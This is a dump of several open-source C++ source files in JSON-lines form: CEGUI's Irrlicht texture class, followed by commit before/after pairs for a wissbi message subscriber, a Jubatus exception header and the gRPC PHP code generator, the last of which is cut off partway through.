section\nnamespace CEGUI\n{\n\/\/----------------------------------------------------------------------------\/\/\nuint32 IrrlichtTexture::d_textureNumber = 0;\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::setIrrlichtTexture(irr::video::ITexture* tex)\n{\n d_texture = tex;\n\n if (d_texture)\n {\n d_size = d_dataSize = Size<>(\n static_cast<float>(d_texture->getSize().Width),\n static_cast<float>(d_texture->getSize().Height));\n\n updateCachedScaleValues();\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nirr::video::ITexture* IrrlichtTexture::getIrrlichtTexture() const\n{\n return d_texture;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nconst String& IrrlichtTexture::getName() const\n{\n return d_name;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nconst Size<>& IrrlichtTexture::getSize() const\n{\n return d_size;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nconst Size<>& IrrlichtTexture::getOriginalDataSize() const\n{\n return d_dataSize;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nconst Vector2<>& IrrlichtTexture::getTexelScaling() const\n{\n return d_texelScaling;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::loadFromFile(const String& filename,\n const String& resourceGroup)\n{\n \/\/ get and check existence of CEGUI::System object\n System* sys = System::getSingletonPtr();\n if (!sys)\n CEGUI_THROW(RendererException(\"IrrlichtTexture::loadFromFile: \"\n \"CEGUI::System object has not been created!\"));\n\n \/\/ load file to memory via resource provider\n RawDataContainer texFile;\n sys->getResourceProvider()->loadRawDataContainer(filename, texFile,\n resourceGroup);\n\n Texture* res = sys->getImageCodec().load(texFile, this);\n\n \/\/ unload file data buffer\n sys->getResourceProvider()->unloadRawDataContainer(texFile);\n\n \/\/ throw exception if data was load loaded to texture.\n if (!res)\n CEGUI_THROW(RendererException(\"IrrlichtTexture::loadFromFile: \" +\n sys->getImageCodec().getIdentifierString() +\n \" failed to load image '\" + filename + \"'.\"));\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::loadFromMemory(const void* buffer,\n const Size<>& buffer_size,\n PixelFormat pixel_format)\n{\n using namespace irr;\n\n freeIrrlichtTexture();\n createIrrlichtTexture(buffer_size);\n\n d_size.d_width = static_cast<float>(d_texture->getSize().Width);\n d_size.d_height = static_cast<float>(d_texture->getSize().Height);\n d_dataSize = buffer_size;\n\n updateCachedScaleValues();\n\n const size_t pix_sz = (pixel_format == PF_RGB) ? 3 : 4;\n const char* src = static_cast<const char*>(buffer);\n char* dest = static_cast<char*>(d_texture->lock());\n\n \/\/ copy data into texture, swapping red & blue and creating alpha channel\n \/\/ values as needed.\n for (int j = 0; j < buffer_size.d_height; ++j)\n {\n for (int i = 0; i < buffer_size.d_width; ++i)\n {\n dest[i * 4 + 0] = src[i * pix_sz + 2];\n dest[i * 4 + 1] = src[i * pix_sz + 1];\n dest[i * 4 + 2] = src[i * pix_sz + 0];\n dest[i * 4 + 3] = (pix_sz == 3) ? 0xFF : src[i * pix_sz + 3];\n }\n\n src += static_cast<int>(buffer_size.d_width * pix_sz);\n dest += static_cast<int>(d_size.d_width * 4);\n }\n\n d_texture->unlock();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::blitFromMemory(void* sourceData, const Rect<>& area)\n{\n if (!d_texture)\n return;\n\n const size_t pitch = d_texture->getPitch();\n const uint32* src = static_cast<uint32*>(sourceData);\n uint32* dst = static_cast<uint32*>(d_texture->lock());\n\n if (!dst)\n CEGUI_THROW(RendererException(\n \"[IrrlichtRenderer] ITexture::lock failed.\"));\n\n dst += static_cast<size_t>(area.top()) * (pitch \/ 4) +\n static_cast<size_t>(area.left());\n\n const Size<> sz(area.getSize());\n\n for (int j = 0; j < sz.d_height; ++j)\n {\n for (int i = 0; i < sz.d_width; ++i)\n {\n dst[i] = src[i];\n }\n\n src += static_cast<int>(sz.d_width);\n dst += pitch \/ 4;\n }\n \n d_texture->unlock();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::blitToMemory(void* targetData)\n{\n if (!d_texture)\n return;\n\n const void* src = d_texture->lock(true);\n if (!src)\n CEGUI_THROW(RendererException(\n \"[IrrlichtRenderer] ITexture::lock failed.\"));\n\n memcpy(targetData, src,\n static_cast<size_t>(d_size.d_width * d_size.d_height) * 4);\n\n d_texture->unlock();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nIrrlichtTexture::IrrlichtTexture(IrrlichtRenderer& owner,\n irr::video::IVideoDriver& driver,\n const String& name) :\n d_driver(driver),\n d_texture(0),\n d_size(0, 0),\n d_dataSize(0, 0),\n d_texelScaling(0, 0),\n d_owner(owner),\n d_name(name)\n{\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nIrrlichtTexture::IrrlichtTexture(IrrlichtRenderer& owner,\n irr::video::IVideoDriver& driver,\n const String& name,\n const String& filename,\n const String& resourceGroup) :\n d_driver(driver),\n d_texture(0),\n d_owner(owner),\n d_name(name)\n{\n loadFromFile(filename, resourceGroup);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nIrrlichtTexture::IrrlichtTexture(IrrlichtRenderer& owner,\n irr::video::IVideoDriver& driver,\n const String& name,\n const Size<>& size) :\n d_driver(driver),\n d_dataSize(size),\n d_owner(owner),\n d_name(name)\n\n{\n createIrrlichtTexture(size);\n\n d_size.d_width = static_cast<float>(d_texture->getSize().Width);\n d_size.d_height = static_cast<float>(d_texture->getSize().Height);\n\n updateCachedScaleValues();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nIrrlichtTexture::~IrrlichtTexture()\n{\n freeIrrlichtTexture();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::createIrrlichtTexture(const Size<>& sz)\n{\n using namespace irr;\n\n const Size<> tex_sz(d_owner.getAdjustedTextureSize(sz));\n\n #if CEGUI_IRR_SDK_VERSION >= 16\n const core::dimension2d<u32> irr_sz(\n static_cast<u32>(tex_sz.d_width),\n static_cast<u32>(tex_sz.d_height));\n #else\n const core::dimension2d<s32> irr_sz(\n static_cast<s32>(tex_sz.d_width),\n static_cast<s32>(tex_sz.d_height));\n #endif\n\n \/\/ save texture creation state\n video::E_TEXTURE_CREATION_FLAG fmtflg;\n\n if (d_driver.getTextureCreationFlag(video::ETCF_ALWAYS_32_BIT))\n fmtflg = video::ETCF_ALWAYS_32_BIT;\n else if (d_driver.getTextureCreationFlag(video::ETCF_OPTIMIZED_FOR_QUALITY))\n fmtflg = video::ETCF_OPTIMIZED_FOR_QUALITY;\n else if (d_driver.getTextureCreationFlag(video::ETCF_OPTIMIZED_FOR_SPEED))\n fmtflg = video::ETCF_OPTIMIZED_FOR_SPEED;\n else\n fmtflg = video::ETCF_ALWAYS_16_BIT;\n\n const bool tfmips =\n d_driver.getTextureCreationFlag(video::ETCF_CREATE_MIP_MAPS);\n const bool tfalpha =\n d_driver.getTextureCreationFlag(video::ETCF_NO_ALPHA_CHANNEL);\n const bool tfnpot =\n d_driver.getTextureCreationFlag(video::ETCF_ALLOW_NON_POWER_2);\n\n \/\/ explicitly set all states to what we want\n d_driver.setTextureCreationFlag(video::ETCF_ALWAYS_32_BIT, true);\n d_driver.setTextureCreationFlag(video::ETCF_CREATE_MIP_MAPS, false);\n d_driver.setTextureCreationFlag(video::ETCF_NO_ALPHA_CHANNEL, false);\n d_driver.setTextureCreationFlag(video::ETCF_ALLOW_NON_POWER_2, true);\n\n d_texture = d_driver.addTexture(irr_sz, getUniqueName().c_str(),\n irr::video::ECF_A8R8G8B8);\n\n \/\/ restore previous texture creation state\n d_driver.setTextureCreationFlag(fmtflg, true);\n d_driver.setTextureCreationFlag(video::ETCF_CREATE_MIP_MAPS, tfmips);\n d_driver.setTextureCreationFlag(video::ETCF_NO_ALPHA_CHANNEL, tfalpha);\n d_driver.setTextureCreationFlag(video::ETCF_ALLOW_NON_POWER_2, tfnpot);\n\n \/\/ we use ARGB all the time for now, so throw if we gut something else!\n if(video::ECF_A8R8G8B8 != d_texture->getColorFormat())\n CEGUI_THROW(RendererException(\n \"IrrlichtTexture::loadFromMemory: texture did \"\n \"not have the correct format (ARGB)\"));\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::freeIrrlichtTexture()\n{\n if (!d_texture)\n return;\n\n d_driver.removeTexture(d_texture);\n d_texture = 0;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nstd::string IrrlichtTexture::getUniqueName()\n{\n char tmp[32];\n sprintf(tmp, \"irr_tex_%d\", d_textureNumber++);\n\n return std::string(tmp);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::setOriginalDataSize(const Size<>& sz)\n{\n d_dataSize = sz;\n updateCachedScaleValues();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid IrrlichtTexture::updateCachedScaleValues()\n{\n \/\/\n \/\/ calculate what to use for x scale\n \/\/\n const float orgW = d_dataSize.d_width;\n const float texW = d_size.d_width;\n\n \/\/ if texture and original data width are the same, scale is based\n \/\/ on the original size.\n \/\/ if texture is wider (and source data was not stretched), scale\n \/\/ is based on the size of the resulting texture.\n d_texelScaling.d_x = 1.0f \/ ((orgW == texW) ? orgW : texW);\n\n \/\/\n \/\/ calculate what to use for y scale\n \/\/\n const float orgH = d_dataSize.d_height;\n const float texH = d_size.d_height;\n\n \/\/ if texture and original data height are the same, scale is based\n \/\/ on the original size.\n \/\/ if texture is taller (and source data was not stretched), scale\n \/\/ is based on the size of the resulting texture.\n d_texelScaling.d_y = 1.0f \/ ((orgH == texH) ? orgH : texH);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\n\n} \/\/ End of CEGUI namespace section\n<|endoftext|>"} {"text":"<commit_before>#include <string.h>\n#include <signal.h>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <thread>\n#include <set>\n#include \"msg_filter.hpp\"\n#include \"io_policy\/line.hpp\"\n#include \"io_policy\/length.hpp\"\n#include \"io_policy\/sysv_mq.hpp\"\n#include \"io_policy\/tcp.hpp\"\n#include \"sub_entry.hpp\"\n#include \"util.hpp\"\n#include \"logger.hpp\"\n\nusing namespace std;\nusing namespace wissbi;\n\nbool run = true;\n\nvoid exit_signal_handler(int signum) {\n run = false;\n}\n\ntemplate<class OutputWriter>\nvoid run_sub(const std::string& src) {\n int serv = socket(AF_INET, SOCK_STREAM, 0);\n sockaddr serv_addr;\n util::ConnectStringToSockaddr(\"0.0.0.0:0\", reinterpret_cast<sockaddr_in*>(&serv_addr));\n if(-1 == ::bind(serv, &serv_addr, sizeof(serv_addr))) {\n logger::log(\"bind error\");\n throw std::runtime_error(\"bind error\");\n }\n if(-1 == listen(serv, 10)) {\n logger::log(\"listen error\");\n throw std::runtime_error(\"listen error\");\n }\n socklen_t len = sizeof(serv_addr);;\n getsockname(serv, &serv_addr, &len);\n logger::log(\"wissbi-sub is listening on port {}\", ntohs(((sockaddr_in*)&serv_addr)->sin_port));\n\n ostringstream tmp;\n tmp << util::GetHostIP() << \":\" << ntohs(((sockaddr_in*)&serv_addr)->sin_port);\n \n SubEntry sub_entry(getenv(\"WISSBI_META_DIR\") != NULL ? getenv(\"WISSBI_META_DIR\") : \"\/var\/lib\/wissbi\", src, tmp.str());\n\n OutputWriter output_writer;\n output_writer.mq_init(\"\");\n output_writer.auto_flush();\n thread* output_th = new thread([&output_writer](){\n output_writer.FilterLoop();\n });\n\n struct timeval tv;\n tv.tv_sec = 1;\n tv.tv_usec = 0;\n setsockopt(serv, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));\n \n while(run) {\n sockaddr other_addr;\n socklen_t len = sizeof(other_addr);\n int res = accept(serv, &other_addr, &len);\n if(res > 0){\n logger::log(\"wissbi-pub connected from {}\", util::SockaddrToConnectString(reinterpret_cast<const sockaddr_in&>(other_addr)));\n struct timeval tv;\n tv.tv_sec = 0;\n tv.tv_usec = 0;\n setsockopt(res, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); \n thread([res]{\n MsgFilter<io_policy::TCP, io_policy::SysvMq> filter;\n filter.mq_init(\"\");\n filter.set_cleanup(false);\n filter.AttachConnectedSock(res);\n filter.FilterLoop();\n }).detach();\n }\n sub_entry.renew();\n }\n}\n\nint main(int argc, char* argv[]){\n if(argc < 2) {\n std::cerr << \"Usage: \" << argv[0] << \" SOURCE_NAME\" << std::endl;\n return 1;\n }\n signal(SIGINT, exit_signal_handler);\n signal(SIGTERM, exit_signal_handler);\n signal(SIGPIPE, exit_signal_handler);\n\n std::string src(argv[1]);\n\n if(getenv(\"WISSBI_PID_FILE\") != NULL) {\n ofstream ofs(getenv(\"WISSBI_PID_FILE\"));\n ofs << getpid() << endl;\n }\n\n char* msg_format = getenv(\"WISSBI_MESSAGE_FORMAT\");\n if(msg_format) {\n if(std::string(msg_format) == \"line\") {\n run_sub<MsgFilter<io_policy::SysvMq, io_policy::Line>>(src);\n }\n else if(std::string(msg_format) == \"length\") {\n run_sub<MsgFilter<io_policy::SysvMq, io_policy::Length>>(src);\n }\n else {\n logger::log(\"unknown message format: {}\", msg_format);\n return 1;\n }\n }\n else {\n run_sub<MsgFilter<io_policy::SysvMq, io_policy::Line>>(src);\n }\n logger::log(\"wissbi-sub exited normally\");\n return 0;\n}\n\n<commit_msg>force sub to reset the connection when it exits<commit_after>#include <string.h>\n#include <signal.h>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <thread>\n#include <set>\n#include \"msg_filter.hpp\"\n#include \"io_policy\/line.hpp\"\n#include \"io_policy\/length.hpp\"\n#include \"io_policy\/sysv_mq.hpp\"\n#include \"io_policy\/tcp.hpp\"\n#include \"sub_entry.hpp\"\n#include \"util.hpp\"\n#include \"logger.hpp\"\n\nusing namespace std;\nusing namespace wissbi;\n\nbool run = true;\n\nvoid exit_signal_handler(int signum) {\n run = false;\n}\n\ntemplate<class OutputWriter>\nvoid run_sub(const std::string& src) {\n int serv = socket(AF_INET, SOCK_STREAM, 0);\n sockaddr serv_addr;\n util::ConnectStringToSockaddr(\"0.0.0.0:0\", reinterpret_cast<sockaddr_in*>(&serv_addr));\n if(-1 == ::bind(serv, &serv_addr, sizeof(serv_addr))) {\n logger::log(\"bind error\");\n throw std::runtime_error(\"bind error\");\n }\n if(-1 == listen(serv, 10)) {\n logger::log(\"listen error\");\n throw std::runtime_error(\"listen error\");\n }\n socklen_t len = sizeof(serv_addr);;\n getsockname(serv, &serv_addr, &len);\n logger::log(\"wissbi-sub is listening on port {}\", ntohs(((sockaddr_in*)&serv_addr)->sin_port));\n\n ostringstream tmp;\n tmp << util::GetHostIP() << \":\" << ntohs(((sockaddr_in*)&serv_addr)->sin_port);\n \n SubEntry sub_entry(getenv(\"WISSBI_META_DIR\") != NULL ? getenv(\"WISSBI_META_DIR\") : \"\/var\/lib\/wissbi\", src, tmp.str());\n\n OutputWriter output_writer;\n output_writer.mq_init(\"\");\n output_writer.auto_flush();\n thread* output_th = new thread([&output_writer](){\n output_writer.FilterLoop();\n });\n\n struct timeval tv;\n tv.tv_sec = 1;\n tv.tv_usec = 0;\n setsockopt(serv, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));\n \n while(run) {\n sockaddr other_addr;\n socklen_t len = sizeof(other_addr);\n int res = accept(serv, &other_addr, &len);\n if(res > 0){\n logger::log(\"wissbi-pub connected from {}\", util::SockaddrToConnectString(reinterpret_cast<const sockaddr_in&>(other_addr)));\n struct timeval tv;\n tv.tv_sec = 0;\n tv.tv_usec = 0;\n setsockopt(res, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); \n struct linger lo = {1, 0};\n setsockopt(res, SOL_SOCKET, SO_LINGER, &lo, sizeof(lo));\n thread([res]{\n MsgFilter<io_policy::TCP, io_policy::SysvMq> filter;\n filter.mq_init(\"\");\n filter.set_cleanup(false);\n filter.AttachConnectedSock(res);\n filter.FilterLoop();\n }).detach();\n }\n sub_entry.renew();\n }\n}\n\nint main(int argc, char* argv[]){\n if(argc < 2) {\n std::cerr << \"Usage: \" << argv[0] << \" SOURCE_NAME\" << std::endl;\n return 1;\n }\n signal(SIGINT, exit_signal_handler);\n signal(SIGTERM, exit_signal_handler);\n signal(SIGPIPE, exit_signal_handler);\n\n std::string src(argv[1]);\n\n if(getenv(\"WISSBI_PID_FILE\") != NULL) {\n ofstream ofs(getenv(\"WISSBI_PID_FILE\"));\n ofs << getpid() << endl;\n }\n\n char* msg_format = getenv(\"WISSBI_MESSAGE_FORMAT\");\n if(msg_format) {\n if(std::string(msg_format) == \"line\") {\n run_sub<MsgFilter<io_policy::SysvMq, io_policy::Line>>(src);\n }\n else if(std::string(msg_format) == \"length\") {\n run_sub<MsgFilter<io_policy::SysvMq, io_policy::Length>>(src);\n }\n else {\n logger::log(\"unknown message format: {}\", msg_format);\n return 1;\n }\n }\n else {\n run_sub<MsgFilter<io_policy::SysvMq, io_policy::Line>>(src);\n }\n logger::log(\"wissbi-sub exited normally\");\n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Jubatus: Online machine learning framework for distributed environment\n\/\/ Copyright (C) 2011,2012 Preferred Infrastructure and Nippon Telegraph and Telephone Corporation.\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n#include <cstring>\n#include <typeinfo>\n#include <pficommon\/lang\/shared_ptr.h>\n#include <pficommon\/lang\/cast.h>\n\nnamespace jubatus {\nnamespace exception {\n\nnamespace detail {\nstd::string demangle_symbol(const char *symbol);\n}\n\nclass error_info_base {\npublic:\n virtual bool splitter() const\n {\n return false;\n }\n\n virtual std::string tag_typeid_name() const = 0;\n virtual std::string as_string() const = 0;\n\n virtual ~error_info_base() throw()\n {}\n};\n\ntemplate <class Tag, class V>\nclass error_info;\n\ntemplate <class Tag, class V>\ninline std::string to_string(const error_info<Tag, V>& info)\n{\n return pfi::lang::lexical_cast<std::string, V>(info.value());\n}\n\ntemplate<>\nclass error_info<struct error_splitter_, void> : public error_info_base {\npublic:\n bool splitter() const\n {\n return true;\n }\n\n std::string tag_typeid_name() const\n {\n return jubatus::exception::detail::demangle_symbol(typeid(struct error_splitter_*).name());\n }\n\n std::string as_string() const\n {\n \/\/ USE splitter or tag_typeid_name\n return \"-splitter-\";\n }\n};\n\ntemplate <class Tag, class V>\nclass error_info : public error_info_base {\npublic:\n typedef V value_type;\n error_info(value_type v);\n ~error_info() throw();\n\n std::string tag_typeid_name() const;\n std::string as_string() const;\n\n value_type value() const\n {\n return value_;\n }\n\nprivate:\n value_type value_;\n};\n\ntemplate <class Tag, class V>\ninline error_info<Tag, V>::error_info(value_type v)\n : value_(v)\n{\n}\n\ntemplate <class Tag, class V>\ninline error_info<Tag, V>::~error_info() throw()\n{\n}\n\ntemplate <class Tag, class V>\ninline std::string error_info<Tag, V>::tag_typeid_name() const\n{\n return jubatus::exception::detail::demangle_symbol(typeid(Tag*).name());\n}\n\ntemplate <class Tag, class V>\ninline std::string error_info<Tag, V>::as_string() const\n{\n return to_string(*this);\n}\n\n} \/\/ exception\n} \/\/ jubatus\n<commit_msg>Add pragma_once to common\/exception_info.hpp<commit_after>\/\/ Jubatus: Online machine learning framework for distributed environment\n\/\/ Copyright (C) 2011,2012 Preferred Infrastructure and Nippon Telegraph and Telephone Corporation.\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n#pragma once\n\n#include <cstring>\n#include <typeinfo>\n#include <pficommon\/lang\/shared_ptr.h>\n#include <pficommon\/lang\/cast.h>\n\nnamespace jubatus {\nnamespace exception {\n\nnamespace detail {\nstd::string demangle_symbol(const char *symbol);\n}\n\nclass error_info_base {\npublic:\n virtual bool splitter() const\n {\n return false;\n }\n\n virtual std::string tag_typeid_name() const = 0;\n virtual std::string as_string() const = 0;\n\n virtual ~error_info_base() throw()\n {}\n};\n\ntemplate <class Tag, class V>\nclass error_info;\n\ntemplate <class Tag, class V>\ninline std::string to_string(const error_info<Tag, V>& info)\n{\n return pfi::lang::lexical_cast<std::string, V>(info.value());\n}\n\ntemplate<>\nclass error_info<struct error_splitter_, void> : public error_info_base {\npublic:\n bool splitter() const\n {\n return true;\n }\n\n std::string tag_typeid_name() const\n {\n return jubatus::exception::detail::demangle_symbol(typeid(struct error_splitter_*).name());\n }\n\n std::string as_string() const\n {\n \/\/ USE splitter or tag_typeid_name\n return \"-splitter-\";\n }\n};\n\ntemplate <class Tag, class V>\nclass error_info : public error_info_base {\npublic:\n typedef V value_type;\n error_info(value_type v);\n ~error_info() throw();\n\n std::string tag_typeid_name() const;\n std::string as_string() const;\n\n value_type value() const\n {\n return value_;\n }\n\nprivate:\n value_type value_;\n};\n\ntemplate <class Tag, class V>\ninline error_info<Tag, V>::error_info(value_type v)\n : value_(v)\n{\n}\n\ntemplate <class Tag, class V>\ninline error_info<Tag, V>::~error_info() throw()\n{\n}\n\ntemplate <class Tag, class V>\ninline std::string error_info<Tag, V>::tag_typeid_name() const\n{\n return jubatus::exception::detail::demangle_symbol(typeid(Tag*).name());\n}\n\ntemplate <class Tag, class V>\ninline std::string error_info<Tag, V>::as_string() const\n{\n return to_string(*this);\n}\n\n} \/\/ exception\n} \/\/ jubatus\n<|endoftext|>"} {"text":"<commit_before>\/*\n *\n * Copyright 2016 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include <map>\n\n#include \"src\/compiler\/config.h\"\n#include \"src\/compiler\/generator_helpers.h\"\n#include \"src\/compiler\/php_generator_helpers.h\"\n\nusing grpc::protobuf::Descriptor;\nusing grpc::protobuf::FileDescriptor;\nusing grpc::protobuf::MethodDescriptor;\nusing grpc::protobuf::ServiceDescriptor;\nusing grpc::protobuf::io::Printer;\nusing grpc::protobuf::io::StringOutputStream;\nusing std::map;\n\nnamespace grpc_php_generator {\nnamespace {\n\ngrpc::string ConvertToPhpNamespace(const grpc::string& name) {\n std::vector<grpc::string> tokens = grpc_generator::tokenize(name, \".\");\n std::ostringstream oss;\n for (unsigned int i = 0; i < tokens.size(); i++) {\n oss << (i == 0 ? \"\" : \"\\\\\")\n << grpc_generator::CapitalizeFirstLetter(tokens[i]);\n }\n return oss.str();\n}\n\ngrpc::string PackageName(const FileDescriptor* file) {\n if (file->options().has_php_namespace()) {\n return file->options().php_namespace();\n } else {\n return ConvertToPhpNamespace(file->package());\n }\n}\n\ngrpc::string MessageIdentifierName(const grpc::string& name,\n const FileDescriptor* file) {\n std::vector<grpc::string> tokens = grpc_generator::tokenize(name, \".\");\n std::ostringstream oss;\n oss << PackageName(file) << \"\\\\\"\n << grpc_generator::CapitalizeFirstLetter(tokens[tokens.size() - 1]);\n return oss.str();\n}\n\nvoid PrintMethod(const MethodDescriptor* method, Printer* out) {\n const Descriptor* input_type = method->input_type();\n const Descriptor* output_type = method->output_type();\n map<grpc::string, grpc::string> vars;\n vars[\"service_name\"] = method->service()->full_name();\n vars[\"name\"] = method->name();\n vars[\"input_type_id\"] =\n MessageIdentifierName(input_type->full_name(), input_type->file());\n vars[\"output_type_id\"] =\n MessageIdentifierName(output_type->full_name(), output_type->file());\n\n out->Print(\"\/**\\n\");\n out->Print(GetPHPComments(method, \" *\").c_str());\n if (method->client_streaming()) {\n out->Print(vars,\n \" * @param array $$metadata metadata\\n\"\n \" * @param array $$options call options\\n *\/\\n\"\n \"public function $name$($$metadata = [], \"\n \"$$options = []) {\\n\");\n out->Indent();\n out->Indent();\n if (method->server_streaming()) {\n out->Print(\"return $$this->_bidiRequest(\");\n } else {\n out->Print(\"return $$this->_clientStreamRequest(\");\n }\n out->Print(vars,\n \"'\/$service_name$\/$name$',\\n\"\n \"['\\\\$output_type_id$','decode'],\\n\"\n \"$$metadata, $$options);\\n\");\n } else {\n out->Print(vars,\n \" * @param \\\\$input_type_id$ $$argument input argument\\n\"\n \" * @param array $$metadata metadata\\n\"\n \" * @param array $$options call options\\n *\/\\n\"\n \"public function $name$(\\\\$input_type_id$ $$argument,\\n\"\n \" $$metadata = [], $$options = []) {\\n\");\n out->Indent();\n out->Indent();\n if (method->server_streaming()) {\n out->Print(\"return $$this->_serverStreamRequest(\");\n } else {\n out->Print(\"return $$this->_simpleRequest(\");\n }\n out->Print(vars,\n \"'\/$service_name$\/$name$',\\n\"\n \"$$argument,\\n\"\n \"['\\\\$output_type_id$', 'decode'],\\n\"\n \"$$metadata, $$options);\\n\");\n }\n out->Outdent();\n out->Outdent();\n out->Print(\"}\\n\\n\");\n}\n\n\/\/ Prints out the service descriptor object\nvoid PrintService(const ServiceDescriptor* service,\n const grpc::string& class_suffix, Printer* out) {\n map<grpc::string, grpc::string> vars;\n out->Print(\"\/**\\n\");\n out->Print(GetPHPComments(service, \" *\").c_str());\n out->Print(\" *\/\\n\");\n vars[\"name\"] = GetPHPServiceClassname(service, class_suffix);\n out->Print(vars, \"class $name$ extends \\\\Grpc\\\\BaseStub {\\n\\n\");\n out->Indent();\n out->Indent();\n out->Print(\n \"\/**\\n * @param string $$hostname hostname\\n\"\n \" * @param array $$opts channel options\\n\"\n \" * @param \\\\Grpc\\\\Channel $$channel (optional) re-use channel \"\n \"object\\n *\/\\n\"\n \"public function __construct($$hostname, $$opts, \"\n \"$$channel = null) {\\n\");\n out->Indent();\n out->Indent();\n out->Print(\"parent::__construct($$hostname, $$opts, $$channel);\\n\");\n out->Outdent();\n out->Outdent();\n out->Print(\"}\\n\\n\");\n for (int i = 0; i < service->method_count(); i++) {\n grpc::string method_name =\n grpc_generator::LowercaseFirstLetter(service->method(i)->name());\n PrintMethod(service->method(i), out);\n }\n out->Outdent();\n out->Outdent();\n out->Print(\"}\\n\");\n}\n} \/\/ namespace\n\ngrpc::string GenerateFile(const FileDescriptor* file,\n const ServiceDescriptor* service,\n const grpc::string& class_suffix) {\n grpc::string output;\n {\n StringOutputStream output_stream(&output);\n Printer out(&output_stream, '$');\n\n out.Print(\"<?php\\n\");\n out.Print(\"\/\/ GENERATED CODE -- DO NOT EDIT!\\n\\n\");\n\n grpc::string leading_comments = GetPHPComments(file, \"\/\/\");\n if (!leading_comments.empty()) {\n out.Print(\"\/\/ Original file comments:\\n\");\n out.PrintRaw(leading_comments.c_str());\n }\n\n map<grpc::string, grpc::string> vars;\n grpc::string php_namespace = PackageName(file);\n vars[\"package\"] = php_namespace;\n out.Print(vars, \"namespace $package$;\\n\\n\");\n\n PrintService(service, class_suffix, &out);\n }\n return output;\n}\n\n} \/\/ namespace grpc_php_generator\n<commit_msg>update php plugin with protobuf 3.5.0<commit_after>\/*\n *\n * Copyright 2016 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include <map>\n\n#include <google\/protobuf\/compiler\/php\/php_generator.h>\n#include \"src\/compiler\/config.h\"\n#include \"src\/compiler\/generator_helpers.h\"\n#include \"src\/compiler\/php_generator_helpers.h\"\n\nusing google::protobuf::compiler::php::GeneratedClassName;\nusing grpc::protobuf::Descriptor;\nusing grpc::protobuf::FileDescriptor;\nusing grpc::protobuf::MethodDescriptor;\nusing grpc::protobuf::ServiceDescriptor;\nusing grpc::protobuf::io::Printer;\nusing grpc::protobuf::io::StringOutputStream;\nusing std::map;\n\nnamespace grpc_php_generator {\nnamespace {\n\ngrpc::string ConvertToPhpNamespace(const grpc::string& name) {\n std::vector<grpc::string> tokens = grpc_generator::tokenize(name, \".\");\n std::ostringstream oss;\n for (unsigned int i = 0; i < tokens.size(); i++) {\n oss << (i == 0 ? \"\" : \"\\\\\")\n << grpc_generator::CapitalizeFirstLetter(tokens[i]);\n }\n return oss.str();\n}\n\ngrpc::string PackageName(const FileDescriptor* file) {\n if (file->options().has_php_namespace()) {\n return file->options().php_namespace();\n } else {\n return 